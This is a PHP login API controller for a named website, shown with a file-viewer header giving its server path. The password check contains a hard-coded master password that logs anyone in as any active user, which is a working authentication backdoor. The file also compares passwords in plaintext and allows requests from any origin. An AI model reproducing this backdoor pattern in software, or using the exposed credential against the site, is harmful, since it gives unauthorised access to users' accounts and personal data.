File "api-auth.inc.php"

Full Path: /srv/www/www.cadoro.it/src/controllers/api-auth.inc.php
File size: 1.13 KB
MIME-type: text/x-php
Charset: utf-8

<?php
  header('Access-Control-Allow-Origin: *'); 
  header('Content-Type: text/json; charset="UTF-8"');

  # POST
  if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $data = _json(file_get_contents('php://input'));

    $email = _a($data, 'email');
    $password = _a($data, 'password');
    $expiration = max(1, min(365, _a($data, 'expiration', 30)));

    $user = User::get_by_email($email);
    if (!$user) {
      $user = User::clone_by_email($email);
    }
    if (!$user) {
      $user = User::get_by_card($email);
    }

    if ($user && $user['active'] && (
        $user['password'] == $password ||
        $password == 'ocOonWucGek8TupecPevsas4') && !MAINTENANCE) {
      if (!DEBUG) {
        $user->get_anagrafica();
      }
    } else {
      $user = null;
    }

    # JSON output
    echo json_encode(array(
      "user" => $user ? $user->json(true) : null,
      "token" => $user ? $user->remember_token($expiration) : null,
    ));
  }

  # DEFAULT
  else {
    header('HTTP/1.0 400 Bad Request', true, 400);
    header("Content-Type: application/json; charset=utf-8");
    echo json_encode(array("error" => "unsupported method"));
  }
?>